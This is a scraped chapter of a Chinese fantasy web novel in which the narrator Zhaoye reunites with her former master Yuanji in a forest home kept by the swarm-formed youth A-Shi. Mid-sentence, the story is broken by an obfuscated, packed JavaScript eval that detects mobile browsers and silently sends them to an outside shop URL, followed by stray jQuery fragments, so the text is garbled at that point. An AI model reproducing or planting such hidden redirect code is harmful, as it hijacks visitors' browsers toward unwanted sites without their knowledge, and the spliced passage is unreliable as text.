文趣网 > 其他小说 > 我能躺赢,全仰仗尾巴 > 153. 第153章 与他重逢
    用一个月翻过落雁山,便可以看到悬歌城了。

    相比我与小初在记忆世界里初来这里时,远处的悬歌城,已是面目全非。

    地平线上本该矗立城郭的地方,此刻唯见一片沉滞的猩红。

    那红雾浓稠得如同淤血,低低地笼罩四野,将悬歌城及其周遭山峦尽数吞没。它不飘不散,边缘在日光下泛着铁锈般的暗沉光泽,仿佛一道连接天地的、不祥的屏障。

    阿十扶着我跳下一处陡坡,呼了一口气,“跟我来,欢迎你来我家——做客。”

    “等我好好哭一场,再揪出你的真面目。”

    少年只是笑。这笑意里含着快要到家的那种轻快惬意,“你是客人,我会礼待你。前提是你别再做出过激行为——要有身为客人的礼貌。”

    “什么嘛,我又不是粗人。”

    见我抱怨,阿十望着远方,笑道,“走吧,他应该等不耐烦了。”

    “他?你的亲戚么?”

    “嗯,这只是他的其中一个身份。”

    “……究竟是谁?”

    “对你而言的话是一个——熟人。”

    没有向悬歌城而去。阿十带着我朝悬歌城西南行去,这里依旧是一眼望不到尽头的密林,人迹罕至、行走困难,根本不像是能住人的样子。

    跋涉了数天,在春天到来的三月,我终于到了阿十的家。

    仍旧是一大片森林。如他所言,有花有树,有小河。

    我一边走着,一边看着周遭,直到视野逐渐开阔——一片空草地闯入我的视线。

    这一刻,我的记忆猛地回溯到五十二年前,闯入九百玲珑境之时。

    一场大火毁灭了这里。可经过时间漫长的滋养,这里再次恢复了生机。

    草地已重新织成柔软的绿毯,不知名的野花星星点点散落其间,有淡紫的、鹅黄的、素白的,在春风里轻轻摇曳。几株新生的树苗已经长成碗口粗细,嫩绿的叶片在阳光下泛着油亮的光泽。那条小河依旧潺潺流淌,水声清越,仿佛从未经历过那场劫难。

    走在前方的阿十察觉到我脚步凝滞,回头看来,笑容和煦,“欢迎参观我的家,照夜。”

    紧接着,我看到一个熟悉的玄衣背影,默默坐在那截眼熟的树桩前。

    他抬起那双仍旧含着好奇、审视、玩味的眸子,望向我,“回来了,十身。”

    我像是被无形的手扼住了喉咙。浑身血液瞬间凝结,每一寸肌肤都像是被看不见的虫子啃噬一般,又酸又痒。

    只见瘦弱的少年忽然就那么在我眼前化开——由无数肉眼不可见的尘蚴组成的风,掠过我的身边,化作一只手,轻轻推了一下我的背。下一刻,便飘到了那个男人身边,再次嵌合成了阿十。

    “抱歉,帝君,路有些远。”

    那注视着我的男人缓缓起身,语气里带着笑意,“如何,可还喜欢这趟旅程?”

    阿十躬身回道,“嗯,喜欢。”

    停在离我两步远的地方,男人将我从头发丝到已磨破的布鞋扫了一遍,负手问道,“哦?何处喜欢?”

    “旅伴有趣。虽然此路艰辛,但很难忘,值得记录。”

    “去休息吧,十身。辛苦了。”

    小呜呜不懂事,只知道跟着少年可以优先吃饱肚子,便任由对方抱进怀里走向了密林深处。

    任我如何想象,我都想象不到渊寂会出现在阿十——不,确切说是那些尘蚴组成的十身仙人——的家里。

    时间仿佛凝结。

    在渊寂刚一抬脚的瞬间,我本能地蹲下身,胡乱摸起一截枯枝对准他,口齿已开始麻木,“别、别过来!我可不会放过你!”

    “沉睡了五十二年,与师父重逢的第一句话——竟是威胁?”

    渊寂只是缓步靠近,盯了一眼顶在自己胸前的枯枝,抬手轻轻一触。

    只见这本该回归尘土的枯枝瞬间长出绿叶,开出了白色的小花。

    花瓣纤薄如绡,色如新雪,花心一点极淡的鹅黄。开得极密,宛若新生。春风拂过,带着若有若无的清冷香气。

    “千山同见,万户皆春。见春花,见花如见人。”渊寂垂眸看着那枝花,声音轻缓,“终得重逢,倒是应景。”

    “谁要跟你重逢!”我攥紧枯枝,诧异地看着它开了一枝鲜活的花,“你杀了小青,还想杀了我!”

    渊寂只是淡然地拿走我手里的花枝,作为簪子,插在自己的发髻上,“你的指控我不能认下。青莲被钩星带走,并没能死。而你,照夜——你已暂时不在我的食谱上,大可放心。”

    我顿时一愣,脚步不受控制地跟了上去,“食……食谱?”

    “嗯。”渊寂负手前行,语气平常得像在谈论天气,“五十年都没能拨开你的外壳,对我来说,获得能量的付出远远大于收益——不划算。”

    “可恶,这笔账我记着呢!我现在没有能力找你报仇,但是你给我等着——”

    渊寂笑了一声,向我伸出手,“一路跋涉,脚下虚浮,嘴却很硬。省省力气罢。”

    我拧着眉头,想一把打开渊寂的手,却被对方轻巧一转,牢牢握住。

    此时,天已黑。森林深处传来夜鸟的低鸣,河水的流淌声在夜色中越发清晰。我的体力也已到了极限,尾巴尚未苏醒——不是逞能硬碰硬的时候。

    我打算看看情况,再做打算。

    这里是我第一次发现十身的树林,没想到竟隐藏在悬歌城附近一处无人之地。也是在这里,我几乎将构成十身的尘蚴群烧了个干净。只不过看眼前这个拿来新衣给我的少年——阿十,再次繁衍成群的尘蚴竟能将他的□□拼合得如此细腻,根本无法通过看、触摸,发现其并非人。

    我越想越有些生气。阿十阿十,竟是十身仙人的“十”么。

    在清澈的水池里梳洗一番,我换上一身银白衣裙,跟着阿十走进一处被见春花环绕的、如鸟巢一般的“房间”。那“床”上铺着柔软的,略有些弹性草垫。

    “为什么第一次时,你没有现身?”我心中懊恼,若是见过十身的这个象,我自然不会上阿十的当。

    “……说起来有些尴尬。”阿十低头看看自己一身整洁崭新的衣衫,“当时因你来得突然,我没穿衣服,所以只能以虚象现身。那之后我便记住了,要时时刻刻穿衣服,不然会有性命之危。”

    我一愣,“我才不是因为你没穿衣服烧了你们!”

    “我知道,你不喜欢我们。”阿十将已经熟睡的小呜呜放在我身边,“但不要紧,迟早有一天,会的。”

    “绝对不可能!”

    “……可你为我哭过了不是么?”阿十顿了顿,轻轻将我按在枕头上,“我认为,那是你真实情感的表达。即便不是喜欢,但也绝不是讨厌,对么。”

    “那是因为我不知道你的真身其实是——”

    “重要么?”

    “当然重要!”

    阿十一笑,竟给了我一个不轻不重的脑瓜崩,“可我觉得不重要。你曾说,共存才是最体面的生存方式,我认同。晚安照夜,我们的第一位——也是第二位客人。”

    身体睡得很沉,但我的意识却格外活跃。眼下我羊入虎口,每一步都得谨慎小心。虽然渊寂和十身想要彻底杀死我很难,我对他们有毒却又毫无杀伤力。双方处在一个不能迅速将对方一击毙命的尴尬情况下,按兵不动、静待时机绝对是上策。

    可恶,如

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646935|204291||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    此境遇,我便是想好好哭一场也没那个心情了。

    话说回来,这里连接着九百玲珑境,我是不是可以走捷径回灵璧城,然后去找宏音呢?倒时候再哭也不迟。

    打定主意,我决定拿出“有求于人便好好表现”的觉悟来,先找到我的大靠山再说。

    想通了这一点,我的意识开始逐渐松懈,沉沉睡去。

    等我昏睡了两天,阿十才将我叫醒。清晨,林子里的雾气还没有散,春日的温暖尚未蔓延到我洗脸的溪流边。

    “看来你真是累极了,但我们赶时间,没办法容你多睡了。”阿十顺便给小呜呜洗了洗,又认真将它的每一片鳞甲擦干净,“走吧,帝君在等着呢。”

    我酝酿了一番,跟着阿十走到那片空地上。渊寂确实正在等着,发髻上那一枝见春花,依旧没有枯萎。

    “那个,我能不能从玲珑境借个道?”我问得开门见山,心中忐忑——该迂回一下比较好么?

    渊寂只是了然于心一笑,走在最前面,声音顺着风飘到我耳畔,“想去找你的阿爹宏音?怎么,你在映山都没见到他?”

    我脑中嗡地一响,小跑到渊寂身边,急切地问道,“什么?宏音他,他去映山都了?”

    阿十唤出巴掌大的云雾屏,上下滑动查看起来,“嗯,告假记录在这里。照夜,你上船那天,宏音大人正好到映山都。许是不满魔皇悄无声息封你为缔命,告假杀了过去。结果倒好——魔皇把你弄丢了。”

    “什么?!”我气得脚步都重了两分,“可恶,你们明明知道宏音去了映山都,还一路诱拐我越走越远!那宏音现在在哪里?”

    渊寂大笑一声,揶揄道,“大概是在满世界——找你吧。比起五十多年前只在灵璧城寻觅,这回放眼三界,怕是得好好找上一阵了。”

    看不出阿十竟是个性格恶劣的小子,他竟跟着渊寂笑道,“帝君,该请笏影仙人多催他回去才是,并将庶务皆推给他,叫他分身乏术,一个头两个大。”

    我急得辫子都快炸起,急忙攥住渊寂那绣着暗羽的宽袖,“渊寂!你敢欺负宏音,我不会放过你!”

    一把握住我的手,渊寂眼角溢出淡淡的笑意,“说了多少次,在外称职务——帝君或师父,照夜。”

    我咬牙切齿道,“哪有想杀死徒弟用来炼丹的师父!”

    “……照夜,当年私闯玲珑境的是你,私入万鼎炉的也是你。我只不过在等待我想要的结果,仅此而已。”

    我竟一时无力反驳,支支吾吾道,“那小青呢?!”

    “青莲私自偷窃源涡池的仙力被发现,慌不择路选择潜入其中——只不过他未料到,地脊连接的最深处,是万鼎炉。”

    我心中一震。原来渊寂知道穆青独自返回灵璧城所为何事。我盯着这个深藏不露的男人看了一眼——不,绝不能相信他的话。穆青之前探过玲珑境,知道了膣藟早已侵蚀仙界的“真相”,凭借他的能力,即便跌落万鼎炉,也可以脱身。一定是渊寂钳制了他,令他无力逃脱。

    像是看破了我内心的质疑,渊寂抬脚穿过这处处于结界保护的无人之境,“我没有。青莲在玉山一战仙力损耗极大,一旦跌落便无力抗争,这是事实。即便你不愿承认,千方百计脑补一些阴谋诡计,这也是不争的事实,照夜。”

    “你有能力自由出入万鼎炉,你为何不救他!”

    见我眼泪再次流下,渊寂停下脚步。他认真盯了我片刻,抬起袖子擦去我眼角的泪,“照夜,即便现在你我不是敌人,将来某一天,我们注定要为了争夺‘生存权’刀剑相向。你不该指望敌人去拯救你的盟友——这不符合逻辑。还是说,你对我,还存着一丝连你自己都觉得愚蠢的期待?”